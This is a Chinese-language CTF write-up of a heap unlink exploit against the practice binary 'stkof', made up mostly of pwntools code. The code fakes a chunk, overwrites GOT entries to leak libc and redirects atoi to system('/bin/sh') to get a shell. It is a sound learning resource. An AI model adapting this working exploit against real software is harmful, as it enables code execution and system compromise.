题目链接:Github
参考链接:传送门
堆的一些基础这里就不再介绍了,网上有很多,也可以加qq群一起讨论:946220807
准备开始正文
拿到题目,开启我们的IDA查看伪代码。运行程序并没有使用帮助,只能自己慢慢琢磨了。
可以看到输入不同的数字对应不同的函数(ida不同函数名可能也不同),共4个函数:
函数具体实现方法点进去看看就清楚了。就不再多解释了。
我们发现填充数据的时候并没有限制大小,导致我们可以填充某一个chunk而覆盖下一个chunk。堆unlink利用
步骤:
还有一点注意,程序没有使用sevbuf函数,所以最好最初申请一个 chunk 来把这些缓冲区给申请了,方便之后操作,这里具体我也不太懂。
我们先定义几个函数用来fill(),alloc()和free_chunk()。
from pwn import *
sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size):#用来分配内存
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def fill(index,size,message):#用来填充数据
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(size))
sh.send(message)
sh.recvuntil('OK\n')
def free_chunk(index):#用来free(chunk)
sh.sendline('3')
sh.sendline(str(index))
header=0x602140
然后我们来分配三个chunk
alloc(0x100)#chunk1,指针存在global[1]
alloc(0x30)#chunk2,指针存在global[2]
alloc(0x80)#chunk3,指针存在global[3]
构造payload填充chunk2,即构造一个fake_chunk。为了绕过unlink检查,并且覆盖chunk3的prev_size和size。unlink检查具体看这里:传送门
payload=p64(0)#
payload+=p64(0x31)
payload+=p64(header-0x8)
payload+=p64(header)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)
payload+=p64(0x90)
运行以下代码前,内存布局是这样的。
fill(2,len(payload),payload)
fill(2,len(payload),payload)
free_chunk(3)
运行以下代码之后,检查chunk3的P位,P位是0,表示上一个chunk是空闲状态,所以会对chunk2进行unlink操作(fake_chunk->fd->bk=fake_chunk->bk和fake_chunk->bk->fd=fake_chunk->fd),global是这样的。
free_chunk(3)
得到free,puts,atoi的got地址。构造payload。
free_got=elf.got['free']
puts_got=elf.got['puts']
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
payload='a'*8
payload+=p64(free_got)
payload+=p64(puts_got)
payload+=p64(atoi_got)
执行下面代码前,global即上图。
fill(2,len(payload),payload)
执行下面代码后,给global[2]即chunk2填充数据。此时的chunk2已经被修改为0x602138。所以会从0x602138开始填充。
fill(2,len(payload),payload)
当执行以下代码,会向global[0]填充puts_plt,即向free_got所指的地址空间填充puts_plt。至此就修改了free_got为puts。即当下次调用free时。调用的是puts函数。
fill(0,len(p64(puts_plt)),p64(puts_plt))
当执行以下代码,会free(global[1]),此时free已被覆盖为puts。而global[1]是put_got。所以即puts(puts_got)。会泄露Puts函数的真实地址。
free_chunk(1)
得到Puts函数的真实地址,得到puts的偏移,算出libc基址libc_base。从而得到system和/bin/sh的真实地址。
puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
puts_adr=u64(puts_adr)
libc_base=puts_adr-libc.symbols['puts']
system_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh').next()
print 'libc_base: '+hex(libc_base)
print 'puts_adr: '+hex(puts_adr)
print 'system_adr: '+hex(system_adr)
print 'binsh_adr: '+hex(binsh_adr)
执行以下代码后,会向global[2]写入数据,即覆盖atoi_got为system_addr。下次调用atoi函数就会调用system函数。
payload=p64(system_adr)
fill(2,len(payload),payload)
main函数就会调用atoi函数,并且参数nptr是我们可控的,我们直接发送/bin/sh的地址即可。
payload=p64(binsh_adr)
sh.sendline(payload)
开启交互模式。
sh.interactive()
from pwn import *
sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')
def fill(index,size,message):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(size))
sh.send(message)
sh.recvuntil('OK\n')
def free_chunk(index):
sh.sendline('3')
sh.sendline(str(index))
header=0x602140
alloc(0x100)
alloc(0x30)
alloc(0x80)
payload=p64(0)
payload+=p64(0x31)
payload+=p64(header-0x8)
payload+=p64(header)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)
payload+=p64(0x90)
fill(2,len(payload),payload)
free_chunk(3)
sh.recvuntil('OK\n')
free_got=elf.got['free']
puts_got=elf.got['puts']
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
payload='a'*8
payload+=p64(free_got)
payload+=p64(puts_got)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
fill(0,len(p64(puts_plt)),p64(puts_plt))
#free_got ->puts
free_chunk(1)
#puts(puts_got)
puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00')
puts_adr=u64(puts_adr)
libc_base=puts_adr-libc.symbols['puts']
system_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh').next()
print 'libc_base: '+hex(libc_base)
print 'puts_adr: '+hex(puts_adr)
print 'system_adr: '+hex(system_adr)
print 'binsh_adr: '+hex(binsh_adr)
payload=p64(system_adr)
fill(2,len(payload),payload)
#atoi_got->system
payload=p64(binsh_adr)
sh.sendline(payload)
sh.interactive()